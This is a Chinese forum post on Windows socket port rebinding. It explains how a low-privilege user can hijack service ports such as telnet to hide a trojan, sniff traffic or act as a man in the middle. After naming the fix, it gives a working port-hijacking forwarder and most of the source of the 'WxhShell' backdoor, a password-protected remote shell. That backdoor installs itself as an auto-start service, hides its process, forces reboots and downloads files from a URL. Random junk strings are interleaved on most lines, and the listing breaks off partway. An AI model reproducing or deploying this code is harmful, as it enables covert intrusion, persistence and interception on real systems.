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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e.0vh?{\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y\Z-x  
XRI1/2YA  
  saddr.sin_family = AF_INET; kl|KFdA;  
!o 7uZC\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .JpYZ |  
BcT|TX+ct  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1Ly?XNS  
T!hU37g h?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qfY.X&]PU  
[JGa3e  
  这意味着什么?意味着可以进行如下的攻击: 'C~NQ{1TV  
(0qdU;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i)0*J?l=  
O4&/g-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  IjDG  
~`{HWmah  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mLO{~ruu  
IrXC/?^h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n\ma5"n0=\  
F,e_`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O;:8mm%(  
^AD/N|X^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'MM#nQ\(  
2D MH@U2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~2~KcgPsq  
S&V5zB""n  
  #include }d)>pH  
  #include Z\{WBUR;4t  
  #include ^n<p#0)+a  
  #include    ];1z%.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <9/oqp{C4  
  int main() 7fl'nCo\"  
  { y-"*[5{W  
  WORD wVersionRequested; Gr#p QE2;  
  DWORD ret; u:N/aaU=  
  WSADATA wsaData; ^G# =>&,  
  BOOL val; %.b)%=  
  SOCKADDR_IN saddr; ;=Bf&hY&  
  SOCKADDR_IN scaddr; -Tk~c1I#`  
  int err; ha'oLm#  
  SOCKET s; @yB!?x  
  SOCKET sc; $+ZO{ (  
  int caddsize; tGD$cBE  
  HANDLE mt; ;'pEzz?k"  
  DWORD tid;   ~?6V-m{>#  
  wVersionRequested = MAKEWORD( 2, 2 ); tZ=BK:39\  
  err = WSAStartup( wVersionRequested, &wsaData ); 0sq/_S  
  if ( err != 0 ) { &^4W+I{H  
  printf("error!WSAStartup failed!\n"); /,= wP)  
  return -1; U;6~]0^K  
  } tGd9Cs9D<  
  saddr.sin_family = AF_INET; T_,LK7D  
   A A<9 XC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;oULtQ  
-NZj :N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :M ix*NCf  
  saddr.sin_port = htons(23); r[M]2h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '8k\a{t_z  
  { (1(3:)@S6  
  printf("error!socket failed!\n"); Os8]iNvW\  
  return -1; 8R:H{)o~s}  
  } `/]8C &u  
  val = TRUE; =X>3C"]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +&a2aEXF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *s?&)][  
  { 8{JTR|yB  
  printf("error!setsockopt failed!\n"); : O t\l  
  return -1; h.4;-&  
  } oRy?Dx+H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; & HphE2 h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dlK#V)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z5-"a?{Y  
$}OU~d1q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0c7&J?"wE  
  { f;pR8  
  ret=GetLastError(); ~?-U J^#  
  printf("error!bind failed!\n"); {*t'h?b  
  return -1; \p@,+ -gX  
  } ahS*YeS7  
  listen(s,2); }PyAmh$@  
  while(1) >}O1lsjW:z  
  { X'jEI{1w  
  caddsize = sizeof(scaddr); 0V}vVAa(B  
  //接受连接请求 %nOBsln  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HC4ad0Gs+{  
  if(sc!=INVALID_SOCKET) >}u?{_s *0  
  { ,A =%!p+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b\gl9"X  
  if(mt==NULL) '|4/aHU  
  { TR{8A^XhE8  
  printf("Thread Creat Failed!\n"); XOgX0cRC4  
  break; +5?hkQCX1^  
  } <s+=v!  
  } ^lRXc.c z  
  CloseHandle(mt); x}N+vK   
  } fPK|Nw]b  
  closesocket(s); &!/L^Y*+  
  WSACleanup(); Ax0u \(p<^  
  return 0; qg:1  
  }   N_q7ip%z  
  DWORD WINAPI ClientThread(LPVOID lpParam) pR 1v^m|  
  { Wz:MPdz3(  
  SOCKET ss = (SOCKET)lpParam; k%NY,(:(  
  SOCKET sc; -hp,O?PM  
  unsigned char buf[4096]; 8,dCx}X  
  SOCKADDR_IN saddr; 0NpxqeIDY  
  long num; )/bt/,M&}  
  DWORD val; S][: b  
  DWORD ret; : [aUpX=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A+Y>1-=JO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lkk'y})/  
  saddr.sin_family = AF_INET; '$1-A%e$1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F2oY_mA  
  saddr.sin_port = htons(23); 'D\(p,(Mt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -Q 6W`*8  
  { cy^6g? ew  
  printf("error!socket failed!\n"); ;c:vz F~Q  
  return -1; 4^70r9hV9  
  } fgn*3 pg  
  val = 100; .yi.GRk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xE;fM\7pu  
  { o0s+ roiD  
  ret = GetLastError(); X_Y$-I$qd  
  return -1; i0p"q p  
  } $3Wl~ G}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a/L?R Uu  
  { kfm8F8sxl  
  ret = GetLastError(); L-@j9hU{  
  return -1; pl q$t/.U;  
  } VC>KW{&J0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OYG8%L  
  { 7gD$Q  
  printf("error!socket connect failed!\n"); W1r-uR  
  closesocket(sc); @U5 +1Hjc  
  closesocket(ss); _jU6[y|XLh  
  return -1; cQgmRHZ]  
  } H0tjN&O_  
  while(1) )u\"xxcV  
  { q$b/T+-ec  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A8c'CMEm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D9#e2ex]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pm+H!x,  
  num = recv(ss,buf,4096,0); JsfbY^wz  
  if(num>0) H -.3r  
  send(sc,buf,num,0); 'OBA nE<.  
  else if(num==0) K{M_ 4'\  
  break; E# e=<R  
  num = recv(sc,buf,4096,0); ,E)bS7W  
  if(num>0) &giJO-^ f  
  send(ss,buf,num,0); ,W{Qv<oo  
  else if(num==0) x3wyIio*  
  break; SGNi~o  
  } Cd|V<BB9  
  closesocket(ss); v{?9PRf\s  
  closesocket(sc); z?j~ 2K<4  
  return 0 ; <Er|s^C  
  } -BQM i0  
(zJ TBI'  
x-y=Jor  
========================================================== QhpE2ICU  
Z?"Pkc.Ei  
下边附上一个代码,,WXhSHELL YfxZ<  
UvQxtT]  
========================================================== A "_;.e`  
;M"hX  
#include "stdafx.h" ;EF s2-{K  
O_F<VV*MFQ  
#include <stdio.h> `Ph4!-6#  
#include <string.h> ]7dm`XV  
#include <windows.h> {r'#(\  
#include <winsock2.h> /Pg66H#RUf  
#include <winsvc.h> Sw'DS  
#include <urlmon.h> $`l- cSH;  
#Y`U8n2F  
#pragma comment (lib, "Ws2_32.lib") tTWYlbDFN  
#pragma comment (lib, "urlmon.lib") VEb}KFyP  
Z33w A?9  
#define MAX_USER   100 // 最大客户端连接数 ?F?!QrL  
#define BUF_SOCK   200 // sock buffer VWLou jB  
#define KEY_BUFF   255 // 输入 buffer Q CfA3*  
$G*$j!  
#define REBOOT     0   // 重启 5"XcVH4g  
#define SHUTDOWN   1   // 关机 g%4|vA8  
5'l+'ox@J  
#define DEF_PORT   5000 // 监听端口 Rq4\~F?  
$ZQPf  
#define REG_LEN     16   // 注册表键长度 #FuOTBNvB  
#define SVC_LEN     80   // NT服务名长度 0_"J>rMp  
s`H}NjWx  
// 从dll定义API ] MUuz'<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Eg  w?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3ufUB^@4v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5zfaqt`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M5 Pvc  
X*%KR4`  
// wxhshell配置信息 ]dk~C?H  
struct WSCFG { lW^RwNcd  
  int ws_port;         // 监听端口 S1&6P)X.Za  
  char ws_passstr[REG_LEN]; // 口令 1S.nqOfx  
  int ws_autoins;       // 安装标记, 1=yes 0=no $stJ+uh  
  char ws_regname[REG_LEN]; // 注册表键名 J tYnBg?[E  
  char ws_svcname[REG_LEN]; // 服务名 #@y4/JS&2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6"jq/Pu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~Qzm!Po,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'Ur$jW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )W*S6}A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z4{|?0=C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Eer rIV  
v9M ;W+J  
}; 5 ^f>L2  
#{ `(;83  
// default Wxhshell configuration Nv #vfh9}P  
struct WSCFG wscfg={DEF_PORT, #G9S[J=xe  
    "xuhuanlingzhe", Q3z-v&^E9  
    1, 7z F29gC  
    "Wxhshell", 1[X+6viE  
    "Wxhshell", bS* "C,b~s  
            "WxhShell Service", K[T? --H  
    "Wrsky Windows CmdShell Service", 5;dnxhf  
    "Please Input Your Password: ", l4r09"S|V  
  1, j>?c]h{-  
  "http://www.wrsky.com/wxhshell.exe", .D)'ZY  
  "Wxhshell.exe" `+]4C+w  
    }; rC/m}`b  
]_F%{8|  
// 消息定义模块 M@s2T|bQw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L F Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +XFF@h&=t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &IOChQ`8P  
char *msg_ws_ext="\n\rExit."; :[\}Hn=  
char *msg_ws_end="\n\rQuit."; 7CM<"pV  
char *msg_ws_boot="\n\rReboot..."; Q> @0'y=s  
char *msg_ws_poff="\n\rShutdown..."; ivw2EEo,  
char *msg_ws_down="\n\rSave to "; in#g  
v0= ^Hy m  
char *msg_ws_err="\n\rErr!"; R:i7Rb2C  
char *msg_ws_ok="\n\rOK!"; _~5{l_v|I  
jk 9K>4W  
char ExeFile[MAX_PATH]; B{c,/{=O  
int nUser = 0; rf]]I#C7  
HANDLE handles[MAX_USER]; oD~VK,.  
int OsIsNt; >,32~C  
hof ZpM  
SERVICE_STATUS       serviceStatus; 9:YiLoz?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mpXc o *!_  
Ay2Vz>{  
// 函数声明 Tfs7SC8ta  
int Install(void); <P}{0Y~@*W  
int Uninstall(void); >RF[0s'-  
int DownloadFile(char *sURL, SOCKET wsh); $S=lm {  
int Boot(int flag); /-G;#Wm  
void HideProc(void); ~G5)ya-  
int GetOsVer(void); k gWF@"_  
int Wxhshell(SOCKET wsl); ;f0+'W  
void TalkWithClient(void *cs); Wx;9N  
int CmdShell(SOCKET sock); >8>`-  
int StartFromService(void); +a"A svw2  
int StartWxhshell(LPSTR lpCmdLine); EiIbp4*e  
/g@.1z1w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OYy%aA}h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &``;1/J*W  
cKFzn+  
// 数据结构和表定义 ?sp  
SERVICE_TABLE_ENTRY DispatchTable[] = S-'iOJ 1]  
{ 0(:"q!h  
{wscfg.ws_svcname, NTServiceMain}, />K$_T/]  
{NULL, NULL} :4&qASn  
}; xJN JvA  
]W-:-.prh  
// 自我安装 BNu zlR  
int Install(void) & UL(r  
{ &xrm;pO  
  char svExeFile[MAX_PATH]; e!G I<  
  HKEY key; q;t T*B W  
  strcpy(svExeFile,ExeFile); \W}?4kz  
!=|3^A  
// 如果是win9x系统,修改注册表设为自启动 8$xg\l0?KK  
if(!OsIsNt) { Bb8lklQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p24sWDf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b!<?,S  
  RegCloseKey(key); ak0KrVF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,R ]]]7)+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X:@nROL^7  
  RegCloseKey(key); MDl  
  return 0; rkG*0#k  
    } yhgHwES"  
  } ~\:+y  
} O^F%ssF8  
else { AEOo]b*&d  
"A,]y E  
// 如果是NT以上系统,安装为系统服务 tlI3jrgw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JU/K\S2%,  
if (schSCManager!=0) |W`1#sP>  
{ Y@_ i32,r  
  SC_HANDLE schService = CreateService  4\dc  
  ( SYeCz(H>d  
  schSCManager, 1MX:^L!f8  
  wscfg.ws_svcname, (9fqUbG  
  wscfg.ws_svcdisp, V5qvH"^  
  SERVICE_ALL_ACCESS, +%$!sp?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m"X0Owx  
  SERVICE_AUTO_START, P0k|33;7L  
  SERVICE_ERROR_NORMAL, uTBls8  
  svExeFile, a?M<r>  
  NULL, i2)rDek3]T  
  NULL, c*HS#C7'2  
  NULL, s)]i0+!  
  NULL, K?(ls$  
  NULL E;| q  
  ); kO~xE-(=  
  if (schService!=0) 2 ,E&}a|;b  
  { Pm%ZzU  
  CloseServiceHandle(schService); h,rGa\X~0  
  CloseServiceHandle(schSCManager); QYyF6ht=!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HiILJyb  
  strcat(svExeFile,wscfg.ws_svcname); Xv9kJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9 )e`mO*n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eIg ' !8h?  
  RegCloseKey(key); )=[K$>0k  
  return 0; (s,Nq~O  
    } c^Rz?2x  
  } ^md7ezXL  
  CloseServiceHandle(schSCManager); @X\Sh>H  
} ol:,02E&  
} P\*-n"  
?dC[VYC\^  
return 1; S2;{)"mS  
} ,BOB &u  
~}$:iyJV(>  
// 自我卸载 J0C<Qb[  
int Uninstall(void) }\OLBg/  
{ <!-8g!  
  HKEY key; ( y'i{:B  
4YXtl +G  
if(!OsIsNt) { _ZC4O&fL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y? )v-YGu  
  RegDeleteValue(key,wscfg.ws_regname); ?b^VEp.;}  
  RegCloseKey(key); t`Mm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TB*g$ *  
  RegDeleteValue(key,wscfg.ws_regname); )PB&w%J  
  RegCloseKey(key); {KdC5 1"Nv  
  return 0; QE=Cum  
  } Lk4&&5q  
} rcOpOoU|  
} JrOp-ug  
else { f(|qE(  
0{gvd"q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v>~ottQ|  
if (schSCManager!=0) nxA]EFS  
{ vXq=f:y4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PF1!aAvVb  
  if (schService!=0) ](x4q  
  { ` {k>I^Pg  
  if(DeleteService(schService)!=0) { j<R,}nmD3\  
  CloseServiceHandle(schService); [o*u!2 r  
  CloseServiceHandle(schSCManager); D 7 [n^WtL  
  return 0; p%]* I?  
  } de[c3!#1d  
  CloseServiceHandle(schService); 1LJ ?Ka[_*  
  } [WRs1$5  
  CloseServiceHandle(schSCManager); [j 'Ogm7"  
} jF Bq>  
} bqsb (C  
^ Gq2"rDM  
return 1; *P61q\2Z  
} i"F'n0*L  
+r2E5s   
// 从指定url下载文件 f8lBxK  
int DownloadFile(char *sURL, SOCKET wsh) HP3~.1Sp  
{ 8rGW G  
  HRESULT hr; ^h1VCyoR*  
char seps[]= "/"; N#bWMZ"  
char *token; / h0-qW  
char *file; ie 2X.#  
char myURL[MAX_PATH]; 5w@  ;B  
char myFILE[MAX_PATH]; DcQ^V4_  
oZA|IF8U0  
strcpy(myURL,sURL); A0V"5syY  
  token=strtok(myURL,seps); wkdd&Nw;  
  while(token!=NULL) F$ZWQ9&5U0  
  { f"k?Ix\ e  
    file=token; lqF{Y<l  
  token=strtok(NULL,seps); o~NeS|a  
  } l(v$+  
l#\z3"b  
GetCurrentDirectory(MAX_PATH,myFILE); KQJn\#>  
strcat(myFILE, "\\"); {l0;G) -  
strcat(myFILE, file); rPaD#GA[7  
  send(wsh,myFILE,strlen(myFILE),0); #E{aN?_  
send(wsh,"...",3,0); 6mep|![6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bhOyx  
  if(hr==S_OK) 5y(irbk7  
return 0; YRG+I GX  
else ::j'+_9  
return 1; bsuUl*l)  
>QE^KtZ  
} o*qEAy ?  
FT[oM<M\Xd  
// 系统电源模块 lE?e1mz{  
int Boot(int flag) V*=cNj  
{ T9t9])  
  HANDLE hToken; { )'D<:T  
  TOKEN_PRIVILEGES tkp; d#ya"e>  
0Y)b319B  
  if(OsIsNt) { jm.pb/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .x(&-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C: kl/9M@  
    tkp.PrivilegeCount = 1; ` eND3c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6lT1X)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yx{Ac|<mR  
if(flag==REBOOT) { UciWrwE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CV]PCq!  
  return 0; >:W)9o  
} 8kW9.   
else { D8m?`^Zz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) smIZ:L %  
  return 0; "sAR< 5b  
} thipfS  
  } %f6l"~y  
  else { 6ynQCD  
if(flag==REBOOT) { xXA$16kd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g~FB&U4c  
  return 0; u\t[rC=yd  
} [O"i!AQ  
else { 2O<S ig=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )P|%=laE8  
  return 0; >z>UtT:  
} F#X\}MvEU  
} L9Fx Lw41  
"'t<R}t!A  
return 1; p\+#`] Q7}  
} /D1Bf:'(  
&0(2Z^Z>fw  
// win9x进程隐藏模块 7 aDI6G  
void HideProc(void) S~(4q#Dt-  
{ "sT`Dhr  
^}/YGAA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5\R8>G~H  
  if ( hKernel != NULL ) ?aOR ^ K  
  { + {a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 45kMIh~~X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R3?~+ y&  
    FreeLibrary(hKernel); Vq9hAD|k  
  } %(6f  
\lKQDct. -  
return; LaN4%[;X1-  
} 3-o ]H'6  
/ sH*if  
// 获取操作系统版本 jvu,W4  
int GetOsVer(void) ~{^A&#P  
{ ei\X/Z*q%P  
  OSVERSIONINFO winfo; Ql&P1|&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OQ+?nB  
  GetVersionEx(&winfo); 2i,Jnv=sR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'kH#QO\(e"  
  return 1; ik8e  
  else `d OjCA_&  
  return 0; pM(y?zGt  
} :\4O9f*5+  
6O tv[8^}  
// 客户端句柄模块 }ZVNDvGH  
int Wxhshell(SOCKET wsl) /jj@ =H  
{ U-WrZ|-  
  SOCKET wsh; \R79^  
  struct sockaddr_in client; yt!K|g  
  DWORD myID; Z#V[N9L  
A8Jbl^7E+  
  while(nUser<MAX_USER) fi bR:8  
{ HowlJ[km%  
  int nSize=sizeof(client); F6%rH$aS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1"v;w!uh  
  if(wsh==INVALID_SOCKET) return 1; 5+ fS$Q  
Cs]xs9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0 |F (qR  
if(handles[nUser]==0) 4?%0z) g  
  closesocket(wsh); tmb0zuJ&C!  
else da I-*  
  nUser++; t:M>&r:BL  
  } 0HNe44oI+D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fcw \`.  
A=XM(2{aN  
  return 0; H.>KYiv+  
} Llk`  
xFpJ#S&  
// 关闭 socket .S?,%4v%%  
void CloseIt(SOCKET wsh) /OxF5 bN2  
{ ^' [|  
closesocket(wsh); OcSLRN?t  
nUser--; 9R ugkGy  
ExitThread(0); dDm<'30?*v  
} Q45rP4mQ  
2l\Oufer"  
// 客户端请求句柄 G 8NSBaZe  
void TalkWithClient(void *cs) .pdgRjlSn  
{ _@^msyoq  
P AKh v.7  
  SOCKET wsh=(SOCKET)cs; <?Lj!JGX  
  char pwd[SVC_LEN]; x1Si&0T0P<  
  char cmd[KEY_BUFF]; F[?t"d  
char chr[1]; nZ%<2  
int i,j; wwp vmb  
Y: byb68  
  while (nUser < MAX_USER) { l[.pI];T  
V'6%G:?0a  
if(wscfg.ws_passstr) { \}<nXn!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #[i({1`^L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QTLOP~^  
  //ZeroMemory(pwd,KEY_BUFF); ,>~9 2  
      i=0; T %cN(0 @  
  while(i<SVC_LEN) { IG bQ L  
&j>`H:  
  // 设置超时 sXfx[)T<  
  fd_set FdRead;  35,SPR  
  struct timeval TimeOut; c3Mql+@  
  FD_ZERO(&FdRead); Nz]\%c/-  
  FD_SET(wsh,&FdRead); BGA.8qWR4  
  TimeOut.tv_sec=8; >yL8C: J9  
  TimeOut.tv_usec=0; i4uUvZ f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @,s[l1P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qvab >U`  
$)\ocsO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W{0<ro`  
  pwd=chr[0]; G,$jU9 f  
  if(chr[0]==0xd || chr[0]==0xa) { ,ur_n7+LH  
  pwd=0; {j^}"8GB  
  break; -ff*,b$Q/  
  } 5X[=Q>  
  i++; TYB^CVSZ  
    } C$?dkmIt  
(A ?e}M^}  
  // 如果是非法用户,关闭 socket 8-po|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N]5-#  
} O@EpRg1  
SFh6'v'1N@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7 bpV=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A3h[VnuG,  
z?+N3p9  
while(1) { 0A|.ch  
/<M08ze  
  ZeroMemory(cmd,KEY_BUFF); yyBy|7QgO  
fpzC#  
      // 自动支持客户端 telnet标准   zf6k%  
  j=0; Q;`#ujxL  
  while(j<KEY_BUFF) { CxwZ$0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $7lI Dt  
  cmd[j]=chr[0]; qL3*H\9N  
  if(chr[0]==0xa || chr[0]==0xd) { e6]u5;B r  
  cmd[j]=0; uE+]]ir  
  break; p"Fj6T2  
  } \J:/l|h  
  j++; }cMb0`oA  
    } #=+d;RdlW  
*y F 9_\n  
  // 下载文件 NCd_h<}|6F  
  if(strstr(cmd,"http://")) { @e+QGd;}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >* dqFZF  
  if(DownloadFile(cmd,wsh)) |WlWZ8]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }<A\>  
  else ?r#e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c`AtK s)u  
  } L)J0T Sh  
  else { }"%tlU!}  
%Q rf ]  
    switch(cmd[0]) { B&`#`]  
  05.^MU?^U  
  // 帮助 (q"Nt_y  
  case '?': { j:\MrYt0H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -dZ7;n5&_  
    break; 3<CCC+47  
  } ( {5LB4  
  // 安装 X^eTf-*T  
  case 'i': { JZ]4?_l  
    if(Install()) % sbDH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); seB ^o}  
    else 8|OsVIe%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;1A4p`)  
    break; w?Cqe N  
    } 3g`uLA X>u  
  // 卸载 X@2[!%nm  
  case 'r': { lqTTTk  
    if(Uninstall()) B{PI&a9~s%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :]v%6i.  
    else B#N(PvtE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s(o{SC'tt  
    break; T'"aStt6  
    } Q &<:W4N*  
  // 显示 wxhshell 所在路径 T;IaVMFG|d  
  case 'p': { ,|<2wn#q  
    char svExeFile[MAX_PATH]; ba^B$$?Bo  
    strcpy(svExeFile,"\n\r"); PV<=wc^  
      strcat(svExeFile,ExeFile); ?| s1Cuc  
        send(wsh,svExeFile,strlen(svExeFile),0); ]v{f!r=}  
    break; */;[ -9  
    } oJA%t-&%R  
  // 重启 0&mOu #l  
  case 'b': { zxTcjC)y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 01uMbtM  
    if(Boot(REBOOT)) .DiH)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lTBPq?4{  
    else { 1JM EniB+9  
    closesocket(wsh); a{v1[i\  
    ExitThread(0); rXPq'k'h#-  
    } $1y8gm  
    break; q|;_G#4  
    } yV,ki^^  
  // 关机 RB`Emp&T  
  case 'd': { eK PxSN Z  
